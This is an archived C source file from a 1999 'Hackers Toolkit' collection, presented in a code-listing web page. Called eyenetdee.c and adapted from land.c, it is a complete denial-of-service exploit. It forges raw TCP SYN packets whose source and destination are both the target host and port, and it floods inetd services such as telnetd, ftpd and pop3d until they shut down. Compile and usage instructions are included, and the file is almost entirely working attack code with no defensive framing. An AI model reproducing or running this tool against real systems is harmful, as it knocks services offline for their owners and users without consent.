home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / eyenetdee.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  5KB  |  186 lines

  1. /*  eyenetdee.c [http://www.technotronic.com/] */
  2.  
  3. /*  eyenetdee.c by issue and catatonic - issue@technotronic.com
  4.  
  5.     this little program exploits inetd services. currently the only linux
  6.     distribution that was immune to this was debian (atleast my box).
  7.     we really didn't test this on to many other operating systems other
  8.     then linux, but it may work on others.
  9.  
  10.     what it does: by sending a (small) syn flood to a host coming from the
  11.                   host, it causes the service to shutdown (seems to be
  12.           only for about 20 minutes before it restarts)
  13.  
  14.     services tested on: telnetd, ftpd, pop3d, fingerd, identd
  15.  
  16.     note: this is totally ripped from land.c, i had intentions of cleaning
  17.           it up abit, but instead i said fuck it, so it's messy, big deal.
  18.    
  19.     compile: gcc -o eyenetdee eyenetdee.c
  20. */
  21.  
  22. #include <stdio.h>
  23. #include <netdb.h>
  24. #include <arpa/inet.h>
  25. #include <stdlib.h>
  26. #include <netinet/in.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <netinet/ip.h>
  30. #include <netinet/ip_tcp.h>
  31. #include <netinet/protocols.h>
  32.  
  33. /* variables */
  34. int     count, x;
  35. int     twirl = 3;
  36. int     sock;
  37.  
  38. /* prototypes */
  39. int     twirly(int *twirl);
  40. void    usage(char *argv[]);
  41. int     main(int argc, char *argv[]);
  42.  
  43. /* structures */
  44. struct     pseudohdr
  45. {
  46.         struct in_addr saddr;
  47.         struct in_addr daddr;
  48.         u_char zero;
  49.         u_char protocol;
  50.         u_short length;
  51.         struct tcphdr tcpheader;
  52. };
  53.  
  54. u_short checksum(u_short * data,u_short length)
  55. {
  56.         register long value;
  57.         u_short i;
  58.  
  59.         for(i=0;i<(length>>1);i++)
  60.                 value+=data[i];
  61.  
  62.         if((length&1)==1)
  63.                 value+=(data[i]<<8);
  64.  
  65.         value=(value&65535)+(value>>16);
  66.  
  67.         return(~value);
  68. }
  69.  
  70. /* let the fun begin */
  71. int     main(int argc, char *argv[])
  72. {
  73.         fprintf(stderr,"eyenetdee.c by issue|catatonic\ncode ripped from land.c by m3lt\n");
  74.  
  75.         if(argc < 4)
  76.         {
  77.             usage(argv);
  78.         }
  79.  
  80.     
  81.         for (x = 0; x <= count; x++)
  82.         {
  83.             struct sockaddr_in sin;
  84.             struct hostent * hn;
  85.             char buffer[40];
  86.             struct iphdr * ipheader=(struct iphdr *) buffer; 
  87.         struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
  88.             struct pseudohdr pseudoheader;
  89.  
  90.             count=(atoi(argv[3]));
  91.  
  92.             bzero(&sin,sizeof(struct sockaddr_in));
  93.             sin.sin_family=AF_INET;
  94.     
  95.         /*  check target */
  96.             if((hn=gethostbyname(argv[1]))!=NULL)
  97.                     bcopy(hn->h_addr,&sin.sin_addr,hn->h_length);
  98.             else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  99.             {
  100.                     fprintf(stderr,"unknown host %s\n",argv[1]);
  101.                     return(-1);
  102.             }
  103.         
  104.             if((sin.sin_port=htons(atoi(argv[2])))==0)
  105.             {
  106.                     fprintf(stderr,"unknown port %s\n",argv[2]);
  107.                     return(-1);
  108.             }
  109.  
  110.             if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  111.             {
  112.                     fprintf(stderr,"couldn't allocate raw socket\n");
  113.                     return(-1);
  114.             }
  115.  
  116.             bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
  117.                ipheader->version=4;
  118.             ipheader->ihl=sizeof(struct iphdr)/4;
  119.             ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  120.             ipheader->id=htons(0xF1C);
  121.             ipheader->ttl=255;
  122.             ipheader->protocol=IP_TCP;
  123.             ipheader->saddr=sin.sin_addr.s_addr;
  124.             ipheader->daddr=sin.sin_addr.s_addr;
  125.  
  126.             tcpheader->th_sport=sin.sin_port;
  127.             tcpheader->th_dport=sin.sin_port;
  128.             tcpheader->th_seq=htonl(0xF1C);
  129.             tcpheader->th_flags=TH_SYN;
  130.             tcpheader->th_off=sizeof(struct tcphdr)/4;
  131.             tcpheader->th_win=htons(2048);
  132.  
  133.             bzero(&pseudoheader,12+sizeof(struct tcphdr));
  134.             pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
  135.             pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  136.             pseudoheader.protocol=6;
  137.             pseudoheader.length=htons(sizeof(struct tcphdr));
  138.             bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  139.             tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  140.  
  141.         /*  failed */
  142.             if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
  143.             {
  144.                     fprintf(stderr,"couldn't send packet\n");
  145.                     return(-1);
  146.             }
  147.  
  148.         /*  just purdy stuff */
  149.             fprintf(stderr, "\rsending packet: %d (%c)", x, twirly(&twirl));
  150.         if (count <= 200)
  151.                             usleep(1500*(10));
  152.                     else
  153.                             usleep(700*(10));
  154.     }
  155.     
  156.     /*  finished with the kiddie quest */
  157.         fprintf(stderr, "\rsending packet: %d (hey kiddie, quit that shit!)",--x);
  158.            printf("\n");
  159.  
  160.     
  161.            close(sock);
  162.  
  163.      /*  done so we wont reach the end of a non-void function */
  164.            exit(0);
  165. }
  166.  
  167. int     twirly(int *twirl)
  168. {
  169.         if (*twirl > 3) *twirl = 0;
  170.         switch ((*twirl)++)
  171.         {
  172.                 case 0: return('|'); break; case 1: return('/'); break;
  173.                 case 2: return('-'); break; case 3: return('\\'); break;
  174.         }
  175.         return(0);
  176. }
  177.  
  178. /* for the retards */
  179. void    usage(char *argv[])
  180. {
  181.         printf("usage: %s [dst_ip] [port_number] [how_many]\n",argv[0]);
  182.         exit(0);
  183. }
  184.  
  185. /* EOF */
  186.